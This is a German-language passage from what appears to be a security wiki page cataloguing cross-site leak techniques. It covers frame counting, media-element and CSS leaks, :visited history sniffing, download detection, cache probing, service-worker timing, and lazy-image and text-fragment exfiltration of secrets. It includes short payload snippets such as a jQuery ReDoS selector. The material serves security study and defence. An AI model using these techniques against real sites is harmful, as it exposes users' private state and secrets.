Das Zählen der **Anzahl der Frames in einer Webseite**, die über `iframe` oder `window.open` geöffnet wurde, kann helfen, den **Status des Benutzers auf dieser Seite** zu identifizieren.\
Darüber hinaus, wenn die Seite immer die gleiche Anzahl von Frames hat, kann das **kontinuierliche** Überprüfen der Anzahl der Frames helfen, ein **Muster** zu identifizieren, das Informationen preisgeben könnte.

Ein Beispiel für diese Technik ist, dass in Chrome ein **PDF** mit **Frame Counting** **erkannt** werden kann, da intern ein `embed` verwendet wird. Es gibt [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), die eine gewisse Kontrolle über den Inhalt wie `zoom`, `view`, `page`, `toolbar` ermöglichen, wo diese Technik interessant sein könnte.

### HTMLElements

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** Lesen Sie den geleakten Wert, um zwischen 2 möglichen Zuständen zu unterscheiden
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, insbesondere wenn dynamische Mediendateien basierend auf Benutzerinformationen generiert werden oder wenn Wasserzeichen hinzugefügt werden, die die Mediengröße verändern. Dies kann von Angreifern ausgenutzt werden, um zwischen möglichen Zuständen zu unterscheiden, indem sie die Informationen analysieren, die von bestimmten HTML-Elementen offengelegt werden.

### Informationen, die durch HTML-Elemente offengelegt werden

- **HTMLMediaElement**: Dieses Element gibt die `duration` und `buffered` Zeiten des Mediums preis, die über seine API abgerufen werden können. [Erfahren Sie mehr über HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Es gibt `videoHeight` und `videoWidth` preis. In einigen Browsern sind zusätzliche Eigenschaften wie `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` und `webkitDecodedFrameCount` verfügbar, die detailliertere Informationen über den Medieninhalt bieten. [Erfahren Sie mehr über HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Diese Funktion liefert Details zur Video-Wiedergabequalität, einschließlich `totalVideoFrames`, was die Menge an verarbeiteten Videodaten anzeigen kann. [Erfahren Sie mehr über getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Dieses Element gibt die `height` und `width` eines Bildes preis. Wenn ein Bild jedoch ungültig ist, geben diese Eigenschaften 0 zurück, und die Funktion `image.decode()` wird abgelehnt, was darauf hinweist, dass das Bild nicht ordnungsgemäß geladen werden konnte. [Erfahren Sie mehr über HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS-Eigenschaft

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** Identifizieren Sie Variationen im Website-Styling, die mit dem Status oder Zustand des Benutzers korrelieren.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Webanwendungen können das **Website-Styling je nach Status des Benutzers** ändern. Cross-Origin-CSS-Dateien können auf der Angreiferseite mit dem **HTML-Link-Element** eingebettet werden, und die **Regeln** werden auf die Angreiferseite **angewendet**. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese **Unterschiede** je nach Benutzerstatus **erkennen**.\
Als Leak-Technik kann der Angreifer die Methode `window.getComputedStyle` verwenden, um **CSS**-Eigenschaften eines bestimmten HTML-Elements zu **lesen**. Infolgedessen kann ein Angreifer beliebige CSS-Eigenschaften lesen, wenn das betroffene Element und der Eigenschaftsname bekannt sind.

### CSS-Historie

- **Inclusion Methods**: HTML-Elemente
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** Erkennen, ob der `:visited`-Stil auf eine URL angewendet wird, was darauf hinweist, dass sie bereits besucht wurde
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

> [!TIP]
> Laut [**diesem**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) funktioniert dies nicht in headless Chrome.

Der CSS-Selektor `:visited` wird verwendet, um URLs anders zu stylen, wenn sie zuvor vom Benutzer besucht wurden. In der Vergangenheit konnte die Methode `getComputedStyle()` verwendet werden, um diese Stilunterschiede zu identifizieren. Moderne Browser haben jedoch Sicherheitsmaßnahmen implementiert, um zu verhindern, dass diese Methode den Status eines Links offenbart. Diese Maßnahmen umfassen, dass der berechnete Stil immer so zurückgegeben wird, als ob der Link besucht worden wäre, und die Stile, die mit dem `:visited`-Selektor angewendet werden können, einzuschränken.

Trotz dieser Einschränkungen ist es möglich, den besuchten Status eines Links indirekt zu erkennen. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem Bereich zu interagieren, der von CSS betroffen ist, insbesondere unter Verwendung der Eigenschaft `mix-blend-mode`. Diese Eigenschaft ermöglicht das Mischen von Elementen mit ihrem Hintergrund, was möglicherweise den besuchten Status basierend auf der Benutzerinteraktion offenbart.

Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch die Ausnutzung der Renderzeiten von Links erreicht werden. Da Browser besuchte und unbesuchte Links möglicherweise unterschiedlich rendern, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik unter Verwendung mehrerer Links demonstriert, um den Zeitunterschied zu verstärken und so den besuchten Status durch Zeitanalysen erkennbar zu machen.

Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dokumentationsseiten:

- `:visited`: [MDN-Dokumentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN-Dokumentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN-Dokumentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### ContentDocument X-Frame Leak

- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** In Google Chrome wird eine spezielle Fehlerseite angezeigt, wenn eine Seite aufgrund von X-Frame-Options-Beschränkungen nicht in eine Cross-Origin-Seite eingebettet werden kann.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

In Chrome, wenn eine Seite mit dem `X-Frame-Options`-Header auf "deny" oder "same-origin" gesetzt als Objekt eingebettet wird, erscheint eine Fehlerseite. Chrome gibt für die `contentDocument`-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt `null`) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was potenziell Informationen über den Status des Benutzers offenbaren könnte, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Leaks zu verhindern.

### Download Detection

- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Header
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** Ein Angreifer kann Datei-Downloads erkennen, indem er iframes nutzt; die fortgesetzte Zugänglichkeit des iframes deutet auf einen erfolgreichen Datei-Download hin.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

Der `Content-Disposition`-Header, speziell `Content-Disposition: attachment`, weist den Browser an, Inhalte herunterzuladen, anstatt sie inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um zu erkennen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Datei-Download auslöst. In Chromium-basierten Browsern gibt es einige Techniken, um dieses Download-Verhalten zu erkennen:

1. **Überwachung der Download-Leiste**:
- Wenn eine Datei in Chromium-basierten Browsern heruntergeladen wird, erscheint eine Download-Leiste am unteren Rand des Browserfensters.
- Durch die Überwachung von Änderungen in der Fensterhöhe können Angreifer das Erscheinen der Download-Leiste ableiten, was darauf hindeutet, dass ein Download initiiert wurde.
2. **Download-Navigation mit Iframes**:
- Wenn eine Seite einen Datei-Download mit dem `Content-Disposition: attachment`-Header auslöst, verursacht dies kein Navigationsereignis.
- Durch das Laden des Inhalts in einem iframe und das Überwachen von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhalts-Disposition einen Datei-Download verursacht (keine Navigation) oder nicht.
3. **Download-Navigation ohne Iframes**:
- Ähnlich wie bei der iframe-Technik besteht diese Methode darin, `window.open` anstelle eines iframes zu verwenden.
- Das Überwachen von Navigationsereignissen im neu geöffneten Fenster kann offenbaren, ob ein Datei-Download ausgelöst wurde (keine Navigation) oder ob der Inhalt inline angezeigt wird (Navigation erfolgt).

In Szenarien, in denen nur angemeldete Benutzer solche Downloads auslösen können, können diese Techniken verwendet werden, um den Authentifizierungsstatus des Benutzers indirekt basierend auf der Reaktion des Browsers auf die Download-Anfrage abzuleiten.

### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** Ein Angreifer kann Datei-Downloads erkennen, indem er iframes nutzt; die fortgesetzte Zugänglichkeit des iframes deutet auf einen erfolgreichen Datei-Download hin.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (von [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

> [!WARNING]
> Deshalb ist diese Technik interessant: Chrome hat jetzt **Cache-Partitionierung**, und der Cache-Schlüssel der neu geöffneten Seite ist: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, aber wenn ich eine ngrok-Seite öffne und fetch darin verwende, wird der Cache-Schlüssel sein: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, der **Cache-Schlüssel ist unterschiedlich**, sodass der Cache nicht geteilt werden kann. Weitere Details finden Sie hier: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Kommentar von [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

Wenn eine Seite `example.com` eine Ressource von `*.example.com/resource` einbindet, hat diese Ressource den **gleichen Cache-Schlüssel**, als ob die Ressource direkt **durch eine Top-Level-Navigation angefordert** worden wäre. Das liegt daran, dass der Cache-Schlüssel aus dem Top-Level _eTLD+1_ und dem Frame _eTLD+1_ besteht.

Da der Zugriff auf den Cache schneller ist als das Laden einer Ressource, ist es möglich, zu versuchen, den Standort einer Seite zu ändern und sie 20 ms (zum Beispiel) später abzubrechen. Wenn der Ursprung nach dem Abbruch geändert wurde, bedeutet das, dass die Ressource im Cache war.\
Oder man könnte einfach **einige Fetch-Anfragen an die potenziell gecachte Seite senden und die Zeit messen, die dafür benötigt wird**.

### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirects
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Summary:** Es ist möglich herauszufinden, ob eine Antwort auf eine Fetch-Anfrage eine Weiterleitung ist
- **Code Example**:

![](<../images/image (652).png>)

### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Es ist möglich, zu versuchen, eine Ressource zu laden und das Laden abzubrechen, bevor sie geladen wird. Je nachdem, ob ein Fehler ausgelöst wird, war die Ressource im Cache oder nicht.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

Verwenden Sie _**fetch**_ und _**setTimeout**_ mit einem **AbortController**, um sowohl zu erkennen, ob die **Ressource im Cache ist**, als auch um eine bestimmte Ressource aus dem Browser-Cache zu entfernen. Darüber hinaus erfolgt der Prozess, ohne neue Inhalte zu cachen.

### Script Pollution

- **Inclusion Methods**: HTML-Elemente (Script)
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Es ist möglich, **eingebaute Funktionen zu überschreiben** und deren Argumente zu lesen, selbst von **Cross-Origin-Skripten** (die nicht direkt gelesen werden können), was **wertvolle Informationen** preisgeben könnte.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Service Workers <a href="#service-workers" id="service-workers"></a>

- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Seiteninhalt
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Messen Sie die Ausführungszeit einer Webseite mit Service Workern.
- **Code Example**:

In dem gegebenen Szenario ergreift der Angreifer die Initiative, einen **Service Worker** innerhalb einer ihrer Domains, speziell "attacker.com", zu registrieren. Anschließend öffnet der Angreifer ein neues Fenster auf der Zielwebsite aus dem Hauptdokument und weist den **Service Worker** an, einen Timer zu starten. Während das neue Fenster zu laden beginnt, navigiert der Angreifer die Referenz, die im vorherigen Schritt erhalten wurde, zu einer Seite, die vom **Service Worker** verwaltet wird.

Bei Eintreffen der Anfrage, die im vorherigen Schritt initiiert wurde, antwortet der **Service Worker** mit einem **204 (No Content)**-Statuscode, wodurch der Navigationsprozess effektiv beendet wird. Zu diesem Zeitpunkt erfasst der **Service Worker** eine Messung vom zuvor in Schritt zwei gestarteten Timer. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.

> [!WARNING]
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren** zu **eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.

### Fetch Timing

- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** Verwenden Sie [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), um die Zeit zu messen, die für eine Anfrage benötigt wird. Andere Uhren könnten verwendet werden.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Cross-Window Timing

- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** Verwenden Sie [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), um die Zeit zu messen, die benötigt wird, um eine Anfrage mit `window.open` auszuführen. Andere Uhren könnten verwendet werden.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

## Mit HTML oder Re-Injection

Hier finden Sie Techniken, um Informationen aus einem Cross-Origin-HTML **durch das Injizieren von HTML-Inhalten** zu exfiltrieren. Diese Techniken sind interessant in Fällen, in denen Sie aus irgendeinem Grund **HTML injizieren, aber keinen JS-Code injizieren können**.

### Dangling Markup


{{#ref}}
dangling-markup-html-scriptless-injection/
{{#endref}}

### Image Lazy Loading

Wenn Sie **Inhalte exfiltrieren** müssen und Sie **HTML vor dem Geheimnis hinzufügen können**, sollten Sie die **üblichen Techniken für dangling Markup** überprüfen.\
Wenn Sie jedoch aus irgendeinem Grund **MÜSSEN**, es **Zeichen für Zeichen** zu tun (vielleicht erfolgt die Kommunikation über einen Cache-Hit), können Sie diesen Trick verwenden.

**Bilder** in HTML haben ein "**loading**"-Attribut, dessen Wert "**lazy**" sein kann. In diesem Fall wird das Bild geladen, wenn es angesehen wird, und nicht während das Seite geladen wird:
```html
<img src=/something loading=lazy >
```
Daher können Sie **eine Menge Junk-Zeichen** hinzufügen (zum Beispiel **tausende von "W"s**), um **die Webseite vor dem Geheimnis zu füllen oder etwas wie** `<br><canvas height="1850px"></canvas><br>.`\
Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, würde das **Bild** **geladen** werden, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen experimentieren, wie viel Junk Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist.

Eine andere Möglichkeit wäre, das **scroll-to-text-fragment** zu verwenden, wenn es erlaubt ist:

#### Scroll-to-text-fragment

Allerdings lassen Sie den **Bot die Seite** mit etwas wie
```
#:~:text=SECR
```
Die Webseite wird etwa so aussehen: **`https://victim.com/post.html#:~:text=SECR`**

Wo post.html die Junk-Zeichen des Angreifers und ein Lazy-Load-Bild enthält und dann das Geheimnis des Bots hinzugefügt wird.

Was dieser Text bewirken wird, ist, dass der Bot auf jeden Text auf der Seite zugreift, der den Text `SECR` enthält. Da dieser Text das Geheimnis ist und sich **direkt unter dem Bild** befindet, wird das **Bild nur geladen, wenn das erratene Geheimnis korrekt ist**. So haben Sie Ihr Orakel, um **das Geheimnis Zeichen für Zeichen zu exfiltrieren**.

Ein Codebeispiel, um dies auszunutzen: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Bild Lazy Loading Zeitbasiert

Wenn es **nicht möglich ist, ein externes Bild zu laden**, das den Angreifer darauf hinweisen könnte, dass das Bild geladen wurde, wäre eine andere Option, zu versuchen, **das Zeichen mehrmals zu erraten und das zu messen**. Wenn das Bild geladen wird, würden alle Anfragen länger dauern, als wenn das Bild nicht geladen wird. Dies wurde in der [**Lösung dieses Berichts**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **hier zusammengefasst:**


{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}

### ReDoS


{{#ref}}
regular-expression-denial-of-service-redos.md
{{#endref}}

### CSS ReDoS

Wenn `jQuery(location.hash)` verwendet wird, ist es möglich, über Timing herauszufinden, **ob einige HTML-Inhalte existieren**, da der Selektor `main[id='site-main']` nicht überprüft werden muss, wenn er nicht übereinstimmt, um den Rest der **Selektoren** zu überprüfen:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
```
### CSS Injection


{{#ref}}
xs-search/css-injection/
{{#endref}}

## Abwehrmaßnahmen

Es gibt empfohlene Maßnahmen in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) sowie in jedem Abschnitt des Wikis [https://xsleaks.dev/](https://xsleaks.dev/). Schauen Sie dort nach weiteren Informationen, wie Sie sich gegen diese Techniken schützen können.

## Referenzen

- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
- [https://xsleaks.dev/](https://xsleaks.dev)
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
- [https://xsinator.com/](https://xsinator.com/)
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

{{#include ../banners/hacktricks-training.md}}